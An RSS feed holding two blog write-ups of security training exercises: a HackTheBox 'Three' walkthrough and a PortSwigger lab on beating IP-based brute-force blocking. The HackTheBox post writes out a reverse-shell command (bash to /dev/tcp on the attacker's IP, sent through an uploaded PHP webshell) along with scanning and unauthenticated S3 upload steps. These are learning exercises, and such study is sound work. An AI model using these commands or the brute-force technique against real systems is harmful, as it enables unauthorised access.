<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Julia Bier</title>
    <description>The latest articles on Forem by Julia Bier (@jbiers).</description>
    <link>https://forem.com/jbiers</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1196389%2F66939cc1-a904-4eb1-a8d4-d19452f084a8.jpeg</url>
      <title>Forem: Julia Bier</title>
      <link>https://forem.com/jbiers</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/jbiers"/>
    <language>en</language>
    <item>
      <title>HackTheBox - Three</title>
      <dc:creator>Julia Bier</dc:creator>
      <pubDate>Fri, 03 Nov 2023 05:03:51 +0000</pubDate>
      <link>https://forem.com/jbiers/hackthebox-three-1ilj</link>
      <guid>https://forem.com/jbiers/hackthebox-three-1ilj</guid>
      <description>&lt;h2&gt;
  
  
  Pwning the "Three" machine.
&lt;/h2&gt;

&lt;p&gt;Even though this machine sits at the &lt;em&gt;very easy&lt;/em&gt; difficulty, I found it to be great for introducing concepts such as domain enumeration, reverse shell, arbitrary file upload and others.&lt;/p&gt;

&lt;p&gt;When you spawn the machine, a warning is given: &lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--kRxEy9AI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/628d0ynn1h0r3ylh762g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--kRxEy9AI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/628d0ynn1h0r3ylh762g.png" alt="Image description" width="658" height="102"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To guarantee the machine and all its services are ready, you should receive this message when connecting to the &lt;em&gt;s3.thetoppers.htb&lt;/em&gt; address. Trying that is fruitless at first, since you should add this entrance to your local &lt;em&gt;/etc/hosts&lt;/em&gt; file and make your OS able to resolve the address to the correct IP address. It should look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_7JNW0Ty--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/02dbuzuz3lhja1tljc3o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_7JNW0Ty--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/02dbuzuz3lhja1tljc3o.png" alt="Image description" width="541" height="182"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next step was running &lt;code&gt;nmap -sV -vvv -Pn -p- -T5 10.129.216.192&lt;/code&gt; to see which doors are open. I scanned all ports with the &lt;em&gt;-T5&lt;/em&gt; option just to make sure none were left behind. The result for the scan shows ports 80 and 22 open.&lt;/p&gt;

&lt;p&gt;Reading the webpage available on port 80 gives you the answer to the first 3 tasks. The fourth one asks about a subdomain to be obtained using enumeration, which you can find by using a tool like &lt;em&gt;gobuster&lt;/em&gt;. (The subdomain is actually mentioned in the machine description, but let's pretend it wasn't just to show what you'd do without it and learn about subdomain enumeration).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uG34z_q7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xvydndrnhdkmsuvlq756.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uG34z_q7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xvydndrnhdkmsuvlq756.png" alt="Image description" width="564" height="95"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the image you can see the parameter -w, for wordlist, receives the file &lt;em&gt;names&lt;/em&gt; as input. This file actually contains a wordlist I took from &lt;a href="https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can tell by its name that the subdomain refers to an S3 bucket. If you aren't at all familiar with AWS services, it would be good to check its &lt;a href="https://aws.amazon.com/s3/features/"&gt;documentation&lt;/a&gt; to understand in detail what it does. Essentially, it allows you to store files.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4d6Yp_FC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z49ccnukh9zc1n7c1w9f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4d6Yp_FC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z49ccnukh9zc1n7c1w9f.png" alt="Image description" width="746" height="160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A well configured bucket will be only accessed if you have AWS credentials with proper authorization, but this is not the case. Use the flag &lt;em&gt;--no-sign-request&lt;/em&gt; with the AWS CLI and you should be able to list the buckets and then its contents.&lt;/p&gt;

&lt;p&gt;At first, I imagined a flag would be found inside the bucket, but after looking at the files in there, no flag was found. The files in the bucket are nothing but the ones being served on the website, meaning these files actually have access to the server itself. How about using a webshell to get access as well?&lt;/p&gt;

&lt;p&gt;Looking at the files in the bucket, you see &lt;em&gt;index.php&lt;/em&gt;, meaning PHP is the language used in this server and therefore the language our webshell has to be written in&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hJYagN_j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gmao9na56wb3cl6p8a11.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hJYagN_j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gmao9na56wb3cl6p8a11.png" alt="Image description" width="298" height="80"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Don't be fooled if you think a webshell is hard to implement. With a little bit of research you can find many examples, like the one above. Just make sure you read the code and what it does. In this case, the code will take the value of &lt;em&gt;cmd&lt;/em&gt; in the &lt;em&gt;$_REQUEST&lt;/em&gt; variable and execute it at system level. In PHP, this variable holds the data received from an HTTP request. Upload your webshell to the bucket as shown below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3264WuDd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9qbbr2ceeexbqjk0em48.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3264WuDd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9qbbr2ceeexbqjk0em48.png" alt="Image description" width="800" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can now pass regular shell commands to this page as parameters:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--biDP8kjI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4ki389cfe3om9x06pgp7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--biDP8kjI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4ki389cfe3om9x06pgp7.png" alt="Image description" width="800" height="154"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can get the root flag just by exploring the filesystem via the webshell, but let's go one step further and turn this webshell into a fully dynamic reverse shell. For that, first note the IP address your personal machine has inside the HackTheBox VPN. Then, with the command &lt;code&gt;nc -lnvp 80&lt;/code&gt; open the port 80 (or any other, 80 was my choice) in your personal computer. You now tell the "Three" machine to connect to this open port and direct shell output to and input from it with the command &lt;code&gt;curl http://thetoppers.htb/cmd.php --data-urlencode "cmd=bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;your-machine-ip&amp;gt;/80 0&amp;gt;&amp;amp;1'"&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ReFQr3ED--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pxjq5td9vv5zmjutivm8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ReFQr3ED--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pxjq5td9vv5zmjutivm8.png" alt="Image description" width="800" height="235"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You now have a shell running inside the server, and finding the flag is as easy as checking the &lt;em&gt;flag.txt&lt;/em&gt; file in the parent directory.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>hacking</category>
      <category>ctf</category>
    </item>
    <item>
      <title>On the joy of learning and bypassing brute-force protection</title>
      <dc:creator>Julia Bier</dc:creator>
      <pubDate>Sun, 29 Oct 2023 04:26:48 +0000</pubDate>
      <link>https://forem.com/jbiers/the-joy-of-learning-and-bypassing-brute-force-protection-2e98</link>
      <guid>https://forem.com/jbiers/the-joy-of-learning-and-bypassing-brute-force-protection-2e98</guid>
      <description>&lt;p&gt;In the past few months I've been going deep into the world of Cybersecurity. Learning about analysing network packets in depth, scanning networks, finding vulnerabilities and how to exploit them, among other things, has made my passion for Computer Science stronger than ever. In this half write-up half ramble post, I'll try to explain why.&lt;/p&gt;

&lt;p&gt;The thought process starts with a lab from Portswigger Academy called &lt;em&gt;Broken brute-force protection, IP block&lt;/em&gt;, which you can check out &lt;a href="https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block" rel="noopener noreferrer"&gt;here&lt;/a&gt;. In this lab we are given a website with a weak protection against password brute-forcing and need to exploit it to find the password for a user named &lt;em&gt;carlos&lt;/em&gt;, which is in a list that is also provided. We are also given a pair of valid credentials &lt;em&gt;wiener:peter&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The login page looks like this after entering a random username and password for testing purposes:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk83adtlvhw4vep1af950.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk83adtlvhw4vep1af950.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In a regular scenario, we could just leverage Burpsuite's Intruder to iterate over the list of possible passwords while sending requests for each one. But in this case, we have some protection against this kind of brute-forcing:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F90qt0kr8wa5jpf7whr33.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F90qt0kr8wa5jpf7whr33.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After three consecutive requests with invalid login credentials, your IP is blocked for one minute. You might think it's a good idea to write a script which waits this one minute before sending another request, but that would take a &lt;em&gt;very&lt;/em&gt; long time in any real-world scenario with a huge list of possible passwords. Remember how we are given a pair of valid credentials? The key to solving this lab is to insert requests with valid credentials in between the trial ones. This way, your IP will not be blocked no matter how many invalid requests you make.&lt;/p&gt;

&lt;p&gt;To make this process not be repetitive and slow, I saved the possible passwords in a file called &lt;em&gt;passwords.txt&lt;/em&gt;, and wrote these two little Python scripts:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbi6jrb2qmcvq5ykug3ar.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbi6jrb2qmcvq5ykug3ar.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsplc8txil163yf4frl2o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsplc8txil163yf4frl2o.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These are very straightforward. The first one just inserts the word &lt;em&gt;peter&lt;/em&gt; in between every password and spits it out in a new file. The result looks like this, with a total of 200 passwords:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgym06giag8kg9mh1pa6l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgym06giag8kg9mh1pa6l.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The second script contains pretty much just two usernames, &lt;em&gt;carlos&lt;/em&gt; and &lt;em&gt;wiener&lt;/em&gt;, intercalated 200 times, to match the passwords.&lt;/p&gt;

&lt;p&gt;Those two lists are used in Burp Intruder, with a request captured from the login page. Selecting the attack type &lt;em&gt;pitchfork&lt;/em&gt;, we then have intercalating requests, being one with valid credentials followed by another one with possible passwords for &lt;em&gt;carlos&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv5gdi8rahy8u2l5s5yom.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv5gdi8rahy8u2l5s5yom.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3xivrwaryfkm9v7upcnl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3xivrwaryfkm9v7upcnl.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fylwlgd3l75rcx628scs2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fylwlgd3l75rcx628scs2.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we then run this attack, it works just fine to find the password and solve the lab. But why stop there? Reading the official solution for the lab after completing it, I saw that an extension for Burpsuite called Turbo Intruder was mentioned, and I went out to investigate it.&lt;/p&gt;

&lt;p&gt;I then came across &lt;a href="https://www.youtube.com/watch?v=vCpIAsxESFY&amp;amp;t=1083s&amp;amp;ab_channel=Bugcrowd" rel="noopener noreferrer"&gt;this&lt;/a&gt; amazing talk by James Kettle, the creator of the tool, in which he explains in detail how Turbo Intruder was created and how it manages to be &lt;em&gt;so damn fast&lt;/em&gt; by leveraging the features of the HTTP header connection keep-alive (thus having many requests sent after only one Three-Way Handshake) and HTTP request pipelining (send all of your requests and only then worry about getting responses).&lt;/p&gt;

&lt;p&gt;In the end, I implemented the solution using Turbo Intruder to apply what I had learned about the tool. It looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F56kfk05xgv6law57ncnl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F56kfk05xgv6law57ncnl.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;See how the whole process is a lot simpler than using the regular Burp Intruder. The Turbo version allows you to write Python code to handle both the requests and responses, I only needed the &lt;em&gt;passwords.txt&lt;/em&gt; file and all the extra logic was implemented within Burp itself.&lt;/p&gt;

&lt;p&gt;This last part, I believe, is where the real fun and learning happen. When you have finished the lab and decide to look a bit deeper into one thing or another and end up learning about a bunch of other concepts. Or when you hear about a tool and decide to look up &lt;a href="https://github.com/PortSwigger/turbo-intruder/tree/master" rel="noopener noreferrer"&gt;how it was implemented&lt;/a&gt;, the ideas that make it be what it is and behave the way it does, or even &lt;a href="https://book.hacktricks.xyz/pentesting-web/race-condition" rel="noopener noreferrer"&gt;other ways you can use it&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Exploring, playing around and testing the boundaries of the concepts you learn are the most important part of learning new things. It's what keeps the passion for the subject alive.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>computerscience</category>
    </item>
  </channel>
</rss>
